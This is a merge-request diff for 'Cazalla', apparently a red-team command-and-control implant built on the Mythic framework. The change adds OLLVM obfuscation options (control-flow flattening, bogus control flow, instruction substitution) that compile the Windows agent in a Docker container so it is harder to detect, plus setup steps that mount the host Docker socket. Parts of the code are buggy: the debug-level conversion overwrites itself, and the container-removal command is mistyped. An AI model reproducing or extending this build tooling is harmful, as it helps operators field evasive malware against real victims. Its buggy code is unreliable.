Merge pull request 'Added compilation with ollvm-16' (#1) from ollvm-16 into main
Reviewed-on: https://git.redteam/Offsec/Cazalla/pulls/1
This commit is contained in:
@@ -18,9 +18,12 @@ RUN apt-get update && \
|
|||||||
apt-get install -y --no-install-recommends \
|
apt-get install -y --no-install-recommends \
|
||||||
apt-utils ca-certificates git zip make build-essential \
|
apt-utils ca-certificates git zip make build-essential \
|
||||||
libssl-dev zlib1g-dev libbz2-dev xz-utils tk-dev libffi-dev \
|
libssl-dev zlib1g-dev libbz2-dev xz-utils tk-dev libffi-dev \
|
||||||
liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm && \
|
liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm docker.io && \
|
||||||
rm -rf /var/lib/apt/lists/*
|
rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
|
# Create the /tmp/converter directory For OLLVM
|
||||||
|
RUN mkdir -p /tmp/converter
|
||||||
|
|
||||||
# --- Reconfirma pip y setuptools actualizados (ya viene, pero por si acaso) ---
|
# --- Reconfirma pip y setuptools actualizados (ya viene, pero por si acaso) ---
|
||||||
RUN python -m pip install --upgrade pip setuptools wheel
|
RUN python -m pip install --upgrade pip setuptools wheel
|
||||||
|
|
||||||
|
|||||||
@@ -6,6 +6,7 @@
|
|||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
#include "transporte.h"
|
#include "transporte.h"
|
||||||
#include "analizador.h"
|
#include "analizador.h"
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
#define TASK_COMPLETE 0x95
|
#define TASK_COMPLETE 0x95
|
||||||
#define TASK_FAILED 0x99
|
#define TASK_FAILED 0x99
|
||||||
@@ -19,6 +20,7 @@ typedef struct {
|
|||||||
|
|
||||||
PPaquete nuevoPaquete(BYTE idComando, BOOL init);
|
PPaquete nuevoPaquete(BYTE idComando, BOOL init);
|
||||||
VOID liberarPaquete(PPaquete paquete);
|
VOID liberarPaquete(PPaquete paquete);
|
||||||
|
VOID paqueteCompletado(PCHAR taskUuid, PPaquete datosOpcionales);
|
||||||
PAnalizador mandarPaquete(PPaquete paquete);
|
PAnalizador mandarPaquete(PPaquete paquete);
|
||||||
|
|
||||||
BOOL addByte(PPaquete paquete, BYTE byte);
|
BOOL addByte(PPaquete paquete, BYTE byte);
|
||||||
|
|||||||
@@ -5,9 +5,14 @@ from mythic_container.PayloadBuilder import *
|
|||||||
from mythic_container.MythicCommandBase import *
|
from mythic_container.MythicCommandBase import *
|
||||||
from mythic_container.MythicRPC import *
|
from mythic_container.MythicRPC import *
|
||||||
import json
|
import json
|
||||||
from distutils.dir_util import copy_tree
|
from distutils.dir_util import copy_tree,remove_tree
|
||||||
import asyncio
|
import asyncio
|
||||||
|
|
||||||
|
import string, random, os, subprocess
|
||||||
|
|
||||||
|
def generate_random_string(length=100):
|
||||||
|
chars = string.ascii_letters + string.digits # a-zA-Z0-9
|
||||||
|
return ''.join(random.choices(chars, k=length))
|
||||||
|
|
||||||
class CazallaAgent(PayloadType):
|
class CazallaAgent(PayloadType):
|
||||||
name = "Cazalla"
|
name = "Cazalla"
|
||||||
@@ -43,6 +48,13 @@ class CazallaAgent(PayloadType):
|
|||||||
choices=["console", "file"],
|
choices=["console", "file"],
|
||||||
default_value="console"
|
default_value="console"
|
||||||
),
|
),
|
||||||
|
BuildParameter(
|
||||||
|
name="ollvm_compilation",
|
||||||
|
parameter_type=BuildParameterType.ChooseOne,
|
||||||
|
description="OLLVM obfuscation",
|
||||||
|
choices=["0","1","2"],
|
||||||
|
default_value="0"
|
||||||
|
)
|
||||||
]
|
]
|
||||||
agent_path = pathlib.Path(".") / "cazalla"
|
agent_path = pathlib.Path(".") / "cazalla"
|
||||||
agent_icon_path = agent_path / "agent_functions" / "cazalla.png"
|
agent_icon_path = agent_path / "agent_functions" / "cazalla.png"
|
||||||
@@ -51,7 +63,7 @@ class CazallaAgent(PayloadType):
|
|||||||
build_steps = [
|
build_steps = [
|
||||||
BuildStep(step_name="Gathering Files", step_description="Creating script payload"),
|
BuildStep(step_name="Gathering Files", step_description="Creating script payload"),
|
||||||
BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"),
|
BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"),
|
||||||
BuildStep(step_name="Compiling", step_description="Compiling with mingw"),
|
BuildStep(step_name="Compiling", step_description="Compiling the code"),
|
||||||
]
|
]
|
||||||
|
|
||||||
async def build(self) -> BuildResponse:
|
async def build(self) -> BuildResponse:
|
||||||
@@ -192,6 +204,7 @@ class CazallaAgent(PayloadType):
|
|||||||
output_format = self.get_parameter("output")
|
output_format = self.get_parameter("output")
|
||||||
debug_level = self.get_parameter("debug_level")
|
debug_level = self.get_parameter("debug_level")
|
||||||
debug_output = self.get_parameter("debug_output")
|
debug_output = self.get_parameter("debug_output")
|
||||||
|
ollvm_compilation = int(self.get_parameter("ollvm_compilation"))
|
||||||
|
|
||||||
config_path = f"{agent_build_path.name}/agent_code/cazalla/Config.h"
|
config_path = f"{agent_build_path.name}/agent_code/cazalla/Config.h"
|
||||||
|
|
||||||
@@ -248,6 +261,8 @@ class CazallaAgent(PayloadType):
|
|||||||
StepSuccess=True
|
StepSuccess=True
|
||||||
))
|
))
|
||||||
|
|
||||||
|
# Local Compilation (without OLLVM)
|
||||||
|
if ollvm_compilation == 0:
|
||||||
# Determine build target and filename based on output format and debug settings
|
# Determine build target and filename based on output format and debug settings
|
||||||
if debug_level == "none":
|
if debug_level == "none":
|
||||||
make_target = output_format
|
make_target = output_format
|
||||||
@@ -289,10 +304,112 @@ class CazallaAgent(PayloadType):
|
|||||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||||
PayloadUUID=self.uuid,
|
PayloadUUID=self.uuid,
|
||||||
StepName="Compiling",
|
StepName="Compiling",
|
||||||
StepStdout=f"Successfully compiled cazalla{debug_info}\nTarget: {make_target}\nFlags: {make_flags}\nOutput: {output_filename}",
|
StepStdout=f"Successfully compiled cazalla{debug_info}\nCommand: {command}\nTarget: {make_target}\nFlags: {make_flags}\nOutput: {output_filename}",
|
||||||
StepSuccess=True
|
StepSuccess=True
|
||||||
))
|
))
|
||||||
|
|
||||||
resp.payload = open(filename, "rb").read()
|
resp.payload = open(filename, "rb").read()
|
||||||
resp.build_message = f"Successfully built {output_filename}{debug_info}"
|
resp.build_message = f"Successfully built {output_filename}{debug_info}"
|
||||||
|
|
||||||
|
# OLLVM compilation in a Docker container
|
||||||
|
else:
|
||||||
|
container_name = generate_random_string(6)
|
||||||
|
docker_volume_folder = os.path.join("/", "tmp", "converter",container_name)
|
||||||
|
|
||||||
|
# Translate debug variables to Docker container variables
|
||||||
|
# DEBUG_LEVEL: none=0, errors=1, warnings=2, info=3, all=4
|
||||||
|
# DEBUG_OUTPUT: console=0, file=1
|
||||||
|
debug_level_docker = debug_level.replace("none", "0")
|
||||||
|
debug_level_docker = debug_level.replace("errors", "1")
|
||||||
|
debug_level_docker = debug_level.replace("warnings", "2")
|
||||||
|
debug_level_docker = debug_level.replace("info", "3")
|
||||||
|
debug_level_docker = debug_level.replace("all", "4")
|
||||||
|
debug_output_docker = debug_output.replace("console", "0")
|
||||||
|
debug_output_docker = debug_output.replace("file", "1")
|
||||||
|
|
||||||
|
# Ollvm parameters:
|
||||||
|
level_1_obfuscation_parameters = "-mllvm -fla -mllvm -bcf -mllvm -sub"
|
||||||
|
level_2_obfuscation_parameters = "-mllvm -sub -mllvm -sub_loop=3 -mllvm -split -mllvm -split_num=3 -mllvm -fla -mllvm -bcf -mllvm -bcf_loop=3 -mllvm -bcf_prob=40"
|
||||||
|
|
||||||
|
if ollvm_compilation == 1:
|
||||||
|
obfuscation_parameters = level_1_obfuscation_parameters
|
||||||
|
elif ollvm_compilation == 2:
|
||||||
|
obfuscation_parameters = level_2_obfuscation_parameters
|
||||||
|
|
||||||
|
# Compilation Command
|
||||||
|
compilation_command = f"clang -target x86_64-w64-mingw32 \
|
||||||
|
-fuse-ld=lld \
|
||||||
|
-DDEBUG_LEVEL={debug_level_docker} \
|
||||||
|
-DDEBUG_OUTPUT={debug_output_docker} \
|
||||||
|
{obfuscation_parameters} \
|
||||||
|
-L/usr/lib/gcc/x86_64-w64-mingw32/13-posix \
|
||||||
|
--sysroot=/usr/x86_64-w64-mingw32 \
|
||||||
|
/tmp/cazalla/*.c \
|
||||||
|
-o /tmp/cazalla/cazalla.exe \
|
||||||
|
-lntdll -lgdi32 -lws2_32 -lcrypt32 -liphlpapi -lshlwapi -lole32 -luser32 -ladvapi32 \
|
||||||
|
-lncrypt -lbcrypt -lversion -lnetapi32 -lwinhttp "
|
||||||
|
|
||||||
|
# Create Docker Containter ollvm16-builder
|
||||||
|
create_container_command = [
|
||||||
|
"docker", "run",
|
||||||
|
"--name", f"{container_name}",
|
||||||
|
"--volume", f"{docker_volume_folder}:/tmp/cazalla/",
|
||||||
|
"ollvm16-builder:latest",
|
||||||
|
"sh", "-c" ,compilation_command
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
# Delete Docker Container
|
||||||
|
delete_container_command = [
|
||||||
|
"docker",
|
||||||
|
f"fm {container_name}"
|
||||||
|
]
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Move agent_build_path.name to docker_volume_folder
|
||||||
|
copy_tree(f"{agent_build_path.name}/agent_code/cazalla", docker_volume_folder)
|
||||||
|
|
||||||
|
# Create Docker Container
|
||||||
|
result = subprocess.run(create_container_command, capture_output=True, text=True, check=True)
|
||||||
|
|
||||||
|
if result.returncode != 0:
|
||||||
|
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||||
|
PayloadUUID=self.uuid,
|
||||||
|
StepName="Compiling",
|
||||||
|
StepStdout=f"Error creating Docker Container: {result.stderr}",
|
||||||
|
StepSuccess=False
|
||||||
|
))
|
||||||
|
resp.status = BuildStatus.Error
|
||||||
|
resp.build_message = f"Error creating Docker Container: {result.stderr}"
|
||||||
|
return resp
|
||||||
|
|
||||||
|
# Get the output from the Docker Container
|
||||||
|
resp.payload = open(f"{docker_volume_folder}/cazalla.exe", "rb").read()
|
||||||
|
resp.build_message = "Successfully built!"
|
||||||
|
|
||||||
|
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||||
|
PayloadUUID=self.uuid,
|
||||||
|
StepName="Compiling",
|
||||||
|
StepStdout=f"Successfully built cazalla.exe",
|
||||||
|
StepSuccess=True
|
||||||
|
))
|
||||||
|
|
||||||
|
# Delete Docker Container
|
||||||
|
delete_container_command = await asyncio.create_subprocess_shell(
|
||||||
|
" ".join(delete_container_command),
|
||||||
|
stdout=asyncio.subprocess.PIPE,
|
||||||
|
stderr=asyncio.subprocess.PIPE
|
||||||
|
)
|
||||||
|
remove_tree(docker_volume_folder)
|
||||||
|
remove_tree(str(self.agent_path))
|
||||||
|
except Exception as e:
|
||||||
|
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||||
|
PayloadUUID=self.uuid,
|
||||||
|
StepName="Compiling",
|
||||||
|
StepStdout=f"Error creating Docker Container: {e}",
|
||||||
|
StepSuccess=False
|
||||||
|
))
|
||||||
|
resp.status = BuildStatus.Error
|
||||||
|
resp.build_message = f"Error creating Docker Container: {e}"
|
||||||
|
return resp
|
||||||
return resp
|
return resp
|
||||||
|
|||||||
@@ -67,7 +67,8 @@ This project was inspired by the article [How to build your own Mythic agent in
|
|||||||
### Prerequisites
|
### Prerequisites
|
||||||
|
|
||||||
1. **Mythic Server** (v3.x or later) installed and running
|
1. **Mythic Server** (v3.x or later) installed and running
|
||||||
2. Clone this repository
|
2. Build the [Docker Image ollvm](https://git.redteam/jesus.rodenas/ollvm-clang) in the Mythic server.
|
||||||
|
|
||||||
|
|
||||||
### Install Cazalla on Mythic
|
### Install Cazalla on Mythic
|
||||||
|
|
||||||
@@ -82,6 +83,13 @@ Or install from local directory:
|
|||||||
./mythic-cli install folder /path/to/Cazalla
|
./mythic-cli install folder /path/to/Cazalla
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Then, modify the Mythic `docker-compose.yaml`, adding the following volumnes in the "cazalla" service:
|
||||||
|
|
||||||
|
```
|
||||||
|
- /var/run/docker.sock:/var/run/docker.sock
|
||||||
|
- /tmp/converter:/tmp/converter
|
||||||
|
```
|
||||||
|
|
||||||
### Build the Agent
|
### Build the Agent
|
||||||
|
|
||||||
Cazalla can be built directly from the Mythic UI:
|
Cazalla can be built directly from the Mythic UI:
|
||||||
|
|||||||
Reference in New Issue
Block a user